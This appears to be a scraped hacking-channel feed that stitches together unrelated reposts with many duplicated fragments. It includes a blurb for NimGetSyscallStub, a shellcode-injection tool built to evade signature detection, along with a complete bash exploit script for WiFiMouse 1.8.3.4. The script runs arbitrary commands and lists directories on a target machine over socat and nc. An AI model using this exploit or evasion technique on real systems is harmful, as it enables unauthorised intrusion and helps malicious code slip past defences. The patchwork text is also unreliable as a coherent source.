Get fresh Syscalls (https://www.kitploit.com/search/label/Syscalls) from a fresh ntdll.dll copy. This code can be used as an alternative to the already published awesome tools NimlineWhispers (https://github.com/ajpc500/NimlineWhispers) and NimlineWhispers2 (https://github.com/ajpc500/NimlineWhispers2) by @ajpc500 (https://twitter.com/ajpc500) or ParallelNimcalls (https://github.com/frkngksl/ParallelNimcalls).The advantage of grabbing Syscalls dynamically is, that the signature of the Stubs is not included in the file and you don't have to worry about changing Windows (https://www.kitploit.com/search/label/Windows) versions.To compile the shellcode execution template run the following:nim c -d:release ShellcodeInject.nim
The result should look like this:

___________________________
@hacking_Attack
@Hacking_Video

Download NimGetSyscallStub (https://github.com/S3cur3Th1sSh1t/NimGetSyscallStub)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Ransomware: The Latest Chapter

As ransomware attacks continue to evolve, beyond using security best practices organizations can build resiliency with extended detection and response solutions and fast response times to shut down attacks.

KitPloit - PenTest Tools!
NimGetSyscallStub - Get Fresh Syscalls From A Fresh Ntdll.Dll Copy

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5NqW9VRk2XhbGV0-MTJkRRIplI53W5S91G5WITJakmXFMw5QAnnMTcdtCJvFwh6BJz-C2S_GgWBodCx9HkYVsj4B__nKZGiPwdO6LOm0M8pF2k5r1OQ5VOnMdnoti9OQ08iEyUlXPjYSrklDKZ8AcQyJbagt40qHheeTn4758cgxwQ9g0-fjx61oHg/w640-h418/NimGetSyscallStub_1_PoC.png
Get fresh Syscalls from a fresh ntdll.dll copy. This code can be used as an alternative to the already published awesome tools NimlineWhispers and NimlineWhispers2 by @ajpc500 or ParallelNimcalls.

The advantage of grabbing Syscalls dynamically is, that the signature of the Stubs is not included in the file and you don't have to worry about changing Windows versions.
To compile the shellcode execution template run the following:

nim c -d:release ShellcodeInject.nim


The result should look like this:

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5NqW9VRk2XhbGV0-MTJkRRIplI53W5S91G5WITJakmXFMw5QAnnMTcdtCJvFwh6BJz-C2S_GgWBodCx9HkYVsj4B__nKZGiPwdO6LOm0M8pF2k5r1OQ5VOnMdnoti9OQ08iEyUlXPjYSrklDKZ8AcQyJbagt40qHheeTn4758cgxwQ9g0-fjx61oHg/w640-h418/NimGetSyscallStub_1_PoC.png
Download NimGetSyscallStub

___________________________
@hacking_Attack
@Hacking_Video

What is a Security Operations Center (SOC)

A security operations centre (SOC) — also known as an information security operations centre, or ISOC — is an in-house or outsourced team…Continue reading on Medium »
Read more...

Easy way to Install waybackurls on Kali Linux.

Fetch known URLs from the Wayback Machine for domains.Continue reading on Medium »
Read more...

Exploit Collector
WiFiMouse 1.8.3.4 Remote Code Execution

https://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png
WiFiMouse version 1.8.3.4 suffers from a remote code execution vulnerability.

SHA-256 | dcee2f3f5c3ab2a8df29abd14197cd5010f6cb612ffbe07e1a7870f3004c0108

Download
# Exploit Title: WiFiMouse 1.8.3.4 - Remote Code Execution (RCE)
# Date: 15-08-2022
# Author: Febin
# Vendor Homepage: http://necta.us/
# Software Link: http://wifimouse.necta.us/#download
# Version: 1.8.3.4
# Tested on: Windows 10

#!/bin/bash
printf "
WiFiMouse / MouseServer 1.8.3.4 Exploit

by FEBIN

"

printf "[*] Enter the Target IP Address: "
read TARGET
rce(){
printf "[*] Enter the Command to execute on the Target: "
read CMD

sh -c "echo 'key 9[R] WIN d';sleep 1;echo 'key 9[R] WIN u';sleep 1;echo 'utf8 cmd /c $CMD';sleep 1;echo 'key 9[R] RTN u'" | socat - TCP4:$TARGET:1978
}

dirlist(){

echo "[*] User's Home Directory Contents:"

echo 'fileexplorer ~/' | nc $TARGET 1978 | strings | cut -b 2-

while $true
do
printf "\nList Directory:> "
read DIR
echo "[+] Contents of $DIR: "
echo "fileexplorer ~/$DIR" | nc $TARGET 1978 | strings | cut -b 2-
done
}

printf "
[1] Remote Command Execution
[2] Directory Listing

"
printf "Enter Your Choice (1 or 2) : "
read CHOICE

if [[ $CHOICE == "1" ]]
then
rce
elif [[ $CHOICE == "2" ]]
then
dirlist

else
echo "[-] Invalid Choice!"
fi


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Unified Remote Authentication Bypass / Code Execution

___________________________
@hacking_Attack
@Hacking_Video

What is a Security Operations Center (SOC)
https://medium.com/@Offasapalvinx/what-is-a-security-operations-center-soc-9a8c4ba767b1?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A security operations centre (SOC) — also known as an information security operations centre, or ISOC — is an in-house or outsourced team…Continue reading on Medium » (https://medium.com/@Offasapalvinx/what-is-a-security-operations-center-soc-9a8c4ba767b1?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Easy way to Install waybackurls on Kali Linux.
https://medium.com/@Offasapalvinx/easy-way-to-install-waybackurls-on-kali-linux-531d78f10874?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Fetch known URLs from the Wayback Machine for domains.Continue reading on Medium » (https://medium.com/@Offasapalvinx/easy-way-to-install-waybackurls-on-kali-linux-531d78f10874?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CoinDCX Twitter locked: Hacking verified accounts a new exploit for crypto scammers

https://cdn-images-1.medium.com/max/600/0*LPMFZxbELPZZr_4R
This is not the first time a verified crypto account has been hacked and used to promote fake projects and giveaways. A similar scheme was…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video